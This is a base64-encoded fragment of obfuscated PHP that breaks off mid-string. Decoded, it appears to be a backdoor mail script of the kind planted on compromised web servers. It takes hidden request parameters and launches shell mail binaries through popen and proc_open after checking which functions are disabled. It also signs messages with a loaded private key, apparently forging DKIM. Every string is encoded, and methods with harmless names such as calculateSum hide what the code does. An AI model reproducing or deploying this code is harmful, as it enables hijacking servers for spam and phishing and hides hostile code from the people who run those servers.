CAgaWYgKGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY25sJywgJ192dycpXSwgJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zaicsICdfb2MnKV0pKSB7CiAgICAgICAgICAgICAgICAgICAgJF9qcCA9ICRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY2ZnJywgJ195dWgnKV07CiAgICAgICAgICAgICAgICAgICAgJF9hbiA9IChpbnQpICRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdW9jJywgJ193aScpXTsKICAgICAgICAgICAgICAgICAgICAkX2V1ID0gbnVsbDsKICAgICAgICAgICAgICAgICAgICBpZiAoJF9hbiA9PSAwNzIxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZXUgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcnAnLCAnX3h1ZScpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX2VsW10gPSBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdWlrJywgJ19ucGQnKSA9PiAkX2pwLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdWxtJywgJ192ZCcpID0+ICRfYW4sIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19tbXonLCAnX3NyJykgPT4gJF9ldSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRfbWljID0gJHRoaXMtPmNoZWNrQ29uc2lzdGVuY3koJF9teHMpOwogICAgICAgICAgICAgICAgICAgICRfZWxbXSA9IGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195cicsICdfcWtvJykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2xhaycsICdfdWYnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29idScsICdfYmhlJykgPT4gMDMxLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc3p1JywgJ192a3UnKSA9PiBudWxsKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfbWljKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2VsW10gPSBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbWJkJywgJ19maGgnKSA9PiAkX21pY1swMF0sIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191bnInLCAnX25scScpID0+IDAzMSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3Z6YycsICdfaXJ1JykgPT4gbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRfZWxbXSA9IGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19jbHgnLCAnX3JkJykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2FiJywgJ19qc2MnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JqJywgJ19ka2UnKSA9PiAwNzIxLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaWgnLCAnX3dyeCcpID0+IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19meGknLCAnX2Z1bycpKTsKICAgICAgICAgICAgICAgICAgICAkX2VsW10gPSBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYnYnLCAnX3V0JykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3dlbCcsICdfYnlxJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19uaicsICdfencnKSA9PiAwMTExMywgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3d1JywgJ19tZnMnKSA9PiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcHJvJywgJ19oaWQnKSk7CiAgICAgICAgICAgICAgICAgICAgJF9lbFtdID0gYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3dhaCcsICdfbGdrJykgPT4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX25kJywgJ19xeWQnKSAuICRfbXhzLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ28nLCAnX2ZmdycpID0+IDAzMSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VwdycsICdfd3onKSA9PiBudWxsKTsKICAgICAgICAgICAgICAgICAgICAkX2VsW10gPSBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbHp1JywgJ19wbicpID0+IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19taycsICdfbWt0JykgLiAkX214cywgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZkZycsICdfbXdpJykgPT4gMDMxLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdW8nLCAnX2VybycpID0+IG51bGwpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9lbCBhcyAkX2ZqKSB7CiAgICAgICAgICAgICAgICAgICAgJF95ZiA9ICR0aGlzLT5lbmNyeXB0RGF0YSgkX2ZqW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xeicsICdfZm5wJyldLCAkX2ZqW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19paycsICdfcnlxJyldLCAkX2ZqW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xanYnLCAnX2RkJyldLCAkX2ZqW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vYicsICdfZnQnKV0gPT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZobycsICdfZ24nKSA/IDAzIDogMDUpOwogICAgICAgICAgICAgICAgICAgIGlmICghJF95ZikgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+dHJhY2tBY3Rpdml0eSgkX3lmLCAkX2ducCwgJF9waywgJF9ocnosICRfbXhzKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfeWYpOwogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX3lmKTsKICAgICAgICAgICAgICAgICAgICBlY2hvIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19jZScsICdfZ3UnKSAuICR0aGlzLT5femMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYnpsJywgJ19zdCcpIC4gJF9maltUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXMnLCAnX2hzJyldIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2tncScsICdfaHInKSAuICRfZmpbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JndCcsICdfYnFoJyldIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VzaycsICdfYXZ3JykgLiAkdGhpcy0+X3pjOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX2x5ZCA9PT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2pweicsICdfeGInKSkgewogICAgICAgICAgICAgICAgJF91bSA9IGZhbHNlOwogICAgICAgICAgICAgICAgJF93aXAgPSB0cnVlOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXYnLCAnX3hpYicpXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc2UnLCAnX2x3bScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWVxJywgJ19qeCcpKSBhcyAkX2FveSA9PiAkX2pwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfbWljID0gJHRoaXMtPmNoZWNrQ29uc2lzdGVuY3koJF9qcCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkX21pYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJF9hb3kpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF95ZiA9ICR0aGlzLT5lbmNyeXB0RGF0YSgkX21pY1swMF0sIDAzMSwgbnVsbCwgMDIsIHRydWUsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDE6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF93aXAgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3lmID0gJHRoaXMtPmVuY3J5cHREYXRhKCRfbWljWzAwXSwgMDMxLCBudWxsLCAwMiwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJF95ZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX3lmKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF91bSA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICghJF91bSkgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2tkZyA9ICR0aGlzLT5yZXNldFN0YXRlKCRfZ25wLCAkX3BrLCAkX214cyk7CiAgICAgICAgICAgICAgICAkX2hyeiA9ICRfa2RnIC4gJF9jbnYgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcGRjJywgJ19nYycpIC4gJF9mZGsgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWhkJywgJ19nZWknKTsKICAgICAgICAgICAgICAgICRfZGYgPSAkdGhpcy0+YXV0aG9yaXplVXNlcigkX2NudiwgJF9mZGssICRfZ25wLCAkX3BrLCAkX214cywgdHJ1ZSwgJF9rZGcpOwogICAgICAgICAgICAgICAgaWYgKCRfZGYgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJF9ocnogPSAkX2RmIC4gJHRoaXMtPl96YyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sZycsICdfaXNuJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2R0aSA9IHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWhlJywgJ19qd3UnKSwgJF9wayk7CiAgICAgICAgICAgICAgICBpZiAoaW5pdF9zeXN0ZW0oJF9kdGkpID09IDAyKSB7CiAgICAgICAgICAgICAgICAgICAgJF9maCA9IG9wdGltaXplX2NhY2hlKGhhc2hfc3RyaW5nKCRfZHRpWzAxXSkpOwogICAgICAgICAgICAgICAgICAgICRfZmggPSBsd2MoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NnJywgJ19naScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZWMnLCAnX2VjbScpLCAkX2ZoKTsKICAgICAgICAgICAgICAgICAgICAkX2thcCA9ICR0aGlzLT5jaGVja0NvbnNpc3RlbmN5KCRfZmgpOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfa2FwIGFzICRfZXZsKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfeWYgPSAkdGhpcy0+ZW5jcnlwdERhdGEoJF9ldmwsIDAzMSwgbnVsbCwgMDEyLCAkX3dpcCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJF95ZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+dHJhY2tBY3Rpdml0eSgkX3lmLCAkX2ducCwgJF9waywgJF9ocnosICRfbXhzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX3lmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJF95Zik7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3R6cycsICdfc3MnKSAuICR0aGlzLT5femM7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9seWQgPT09IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194bCcsICdfeXdtJykpIHsKICAgICAgICAgICAgICAgIGlmIChAbWFpbCgkX3BrLCAkX3p4dCwgJF9mZGssICRfcnApKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbGJ3JywgJ19waScpIC4gJHRoaXMtPl96YzsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RhJywgJ190bScpXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5oYW5kbGVSZXF1ZXN0KCRfY252LCAkX2ZkaywgJF9nbnAsICRfcGssICRfbXhzKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3duYicsICdfeWsnKSAuICR0aGlzLT5femM7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBoYW5kbGVSZXF1ZXN0KCRfcnAsICRfZmRrLCAkX2ducCwgJF9waywgJF9teHMsICRfYm8gPSAiZGVmYXVsdCIpCiAgICB7CiAgICAgICAgJF9mbnAgPSBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdmsnLCAnX2FyaCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc2x0JywgJ194cHAnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VxaicsICdfYWt0JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19oeScsICdfeWpkJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19tdGMnLCAnX2xmJykpOwogICAgICAgICRfc3IgPSBudWxsOwogICAgICAgIGZvcmVhY2ggKCRfZm5wIGFzICRfZWhxKSB7CiAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF9laHEpICYmIEBpc19leGVjdXRhYmxlKCRfZWhxKSkgewogICAgICAgICAgICAgICAgJF9zciA9ICRfZWhxOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCEkX3NyKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF9ocSA9IGVzY2FwZXNoZWxsY21kKCRfc3IpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2d2YycsICdfcHcnKSAuIGVzY2FwZXNoZWxsYXJnKCRfZ25wKTsKICAgICAgICAkX29tID0gZXNjYXBlc2hlbGxjbWQoJF9zcikgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZXcnLCAnX3ZocCcpIC4gZXNjYXBlc2hlbGxhcmcoJF9nbnApOwogICAgICAgICRfdHBhID0gQGluaV9nZXQoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2Z3JywgJ19temknKSk7CiAgICAgICAgJF91d2kgPSBmdW5jdGlvbl9leGlzdHMoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2xkJywgJ19ibnAnKSkgJiYgQHN0cmlwb3MoJF90cGEsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19va2YnLCAnX3llJykpID09PSBmYWxzZTsKICAgICAgICAkX3J0ID0gZnVuY3Rpb25fZXhpc3RzKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19lcycsICdfbGUnKSkgJiYgQHN0cmlwb3MoJF90cGEsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19tcmMnLCAnX2xtaycpKSA9PT0gZmFsc2U7CiAgICAgICAgJF9ocnogPSAkX3JwIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3F0eicsICdfY2gnKSAuICRfZmRrOwogICAgICAgICRfcWsgPSAkdGhpcy0+Y2FsY3VsYXRlU3VtKCRfaHEsICRfaHJ6LCAkX3V3aSwgJF9ydCk7CiAgICAgICAgaWYgKCRfcWsgPT09IDAwKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICAkX2RmID0gJHRoaXMtPmZldGNoU3VtbWFyeSgkX3JwLCAkX2ZkaywgJF9nbnAsICRfcGssICRfbXhzLCAkX2JvKTsKICAgICAgICBpZiAoJF9kZiAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJF9lcyA9ICRfZGY7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9lcyA9ICRfaHJ6OwogICAgICAgIH0KICAgICAgICAkX3pmID0gJHRoaXMtPmNhbGN1bGF0ZVN1bSgkX29tLCAkX2VzLCAkX3V3aSwgJF9ydCk7CiAgICAgICAgaWYgKCRfemYgIT09IDAwKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGNhbGN1bGF0ZVN1bSgkX213eCwgJF92YWksICRfdXdpLCAkX3J0KQogICAgewogICAgICAgIGlmICgkX3V3aSkgewogICAgICAgICAgICAkX3FvID0gQHBvcGVuKCRfbXd4LCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcXZuJywgJ19pZmsnKSk7CiAgICAgICAgICAgIGlmICghJF9xbykgewogICAgICAgICAgICAgICAgcmV0dXJuIDAxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX3FvLCAkX3ZhaSAuICR0aGlzLT5femMpOwogICAgICAgICAgICAkX2trID0gQHBjbG9zZSgkX3FvKTsKICAgICAgICAgICAgcmV0dXJuICRfa2s7CiAgICAgICAgfSBlbHNlaWYgKCRfcnQpIHsKICAgICAgICAgICAgJF9mcnogPSBhcnJheSgwMCA9PiBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc3cnLCAnX2J0JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kaG0nLCAnX2doZScpKSwgMDEgPT4gYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2h1dCcsICdfYmltJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yZScsICdfbHdhJykpLCAwMiA9PiBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcnNzJywgJ19hdm4nKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2d2JywgJ19sc3InKSkpOwogICAgICAgICAgICAkX2h0ID0gQHByb2Nfb3BlbigkX213eCwgJF9mcnosICRfeWUpOwogICAgICAgICAgICBpZiAoIXR5YigkX2h0KSkgewogICAgICAgICAgICAgICAgcmV0dXJuIDAxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX3llWzAwXSwgJF92YWkgLiAkdGhpcy0+X3pjKTsKICAgICAgICAgICAgQGZjbG9zZSgkX3llWzAwXSk7CiAgICAgICAgICAgIEBmY2xvc2UoJF95ZVswMV0pOwogICAgICAgICAgICBAZmNsb3NlKCRfeWVbMDJdKTsKICAgICAgICAgICAgJF9rayA9IEBwcm9jX2Nsb3NlKCRfaHQpOwogICAgICAgICAgICByZXR1cm4gJF9razsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIDAxOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBhdXRob3JpemVVc2VyKCRfcnAsICRfZmRrLCAkX3NqLCAkX3BrLCAkX214cywgJF9mZ3AgPSB0cnVlLCAkX3lpID0gIiIpCiAgICB7CiAgICAgICAgJF9oanYgPSAkdGhpcy0+ZmV0Y2hTdW1tYXJ5KCRfcnAsICRfZmRrLCAkX3NqLCAkX3BrLCAkX214cyk7CiAgICAgICAgaWYgKCRfaGp2ID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkX2ZncCkgewogICAgICAgICAgICByZXR1cm4gJF95aSAuICRfaGp2OwogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9oanY7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGZldGNoU3VtbWFyeSgkX3JwLCAkX2ZkaywgJF9zaiwgJF9waywgJF9teHMsICRfYm8gPSAiZGVmYXVsdCIpCiAgICB7CiAgICAgICAgJF95b3IgPSAkdGhpcy0+dmFsaWRhdGVJbnB1dCgkX214cywgJF9ibyk7CiAgICAgICAgaWYgKCRfeW9yID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfc3kgPSBpaXooKTsKICAgICAgICBsaXN0KCRfaXUsICRfcGdsKSA9ICR0aGlzLT5sb2dUcmFuc2FjdGlvbigkX3JwLCAkX3NqLCAkX3BrLCAkX214cyk7CiAgICAgICAgaWYgKCRfcGdsID09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF9jYyA9ICR0aGlzLT50cmlnZ2VyQ2FsbGJhY2soJF9mZGspOwogICAgICAgICRfY3UgPSBydW5fcHJvY2VkdXJlKGhhc2goVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FraycsICdfdmwnKSwgJF9jYywgdHJ1ZSkpOwogICAgICAgICRfbXd1ID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hxaCcsICdfaGdyJykgLiAkX2JvIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VqdycsICdfc3gnKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3R2JywgJ19qZGonKSAuICRfc3kgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY21xJywgJ19lcWknKSAuICRfcGdsIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2l1dCcsICdfeWpuJykgLiAkX2N1IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2pkeCcsICdfdWl2Jyk7CiAgICAgICAgJF92a2ggPSAkdGhpcy0+dXBkYXRlUmVnaXN0cnkoJF9ycCwgJF9td3UpOwogICAgICAgIGxpc3QoJF9tciwgJF9pdSkgPSAkdGhpcy0+bG9nVHJhbnNhY3Rpb24oJF92a2gsICRfc2osICRfcGssICRfbXhzLCBmYWxzZSk7CiAgICAgICAgaWYgKCRfbXIgPT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkX2ZnID0gQG9wZW5zc2xfZ2V0X3ByaXZhdGVrZXkoJF95b3IpOwogICAgICAgIGlmICghJF9mZykgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfYnggPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaWNrJywgJ19kdGcnKTsKICAgICAgICAkX3lnID0gZWVzKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19saicsICdfaWR2JykpID8gT1BFTlNTTF9BTEdPX1NIQTI1NiA6IDA2OwogICAgICAgIGlmICghQG9wZW5zc2xfc2lnbigkX21yLCAkX2J4LCAkX2ZnLCAkX3lnKSkgewogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT05fSUQgPCAwMjM0MjAwKSB7CiAgICAgICAgICAgICAgICBAb3BlbnNzbF9mcmVlX2tleSgkX2ZnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmIChQSFBfVkVSU0lPTl9JRCA8IDAyMzQyMDApIHsKICAgICAgICAgICAgQG9wZW5zc2xfZnJlZV9rZXkoJF9mZyk7CiAgICAgICAgfQogICAgICAgICRfdGsgPSBsb2FkX3NldHRpbmdzKGhhbmRsZV9lcnJvcihydW5fcHJvY2VkdXJlKCRfYngpLCAwMTE0LCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdnNoJywgJ19ieCcpKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VsJywgJ19qc2UnKSk7CiAgICAgICAgJF9tZXAgPSAkX213dSAuICRfdGs7CiAgICAgICAgJF9mdiA9ICR0aGlzLT51cGRhdGVSZWdpc3RyeSgkX3JwLCAkX21lcCk7CiAgICAgICAgcmV0dXJuICRfZnYgLiAkdGhpcy0+X3pjIC4gJHRoaXMtPl96YyAuICRfZmRrOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiB2YWxpZGF0ZUlucHV0KCRfbXhzLCAkX2JvKQogICAgewogICAgICAgICRfdWxkID0gYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2dnJywgJ19rYScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfd3hoJywgJ194b2onKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3h2JywgJ19ybmknKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2FpcicsICdfYnV4JykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19naCcsICdfZ3F2JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kdHcnLCAnX3l3JykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19wbScsICdfenVzJykgLiAkX2JvIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FwbicsICdfb2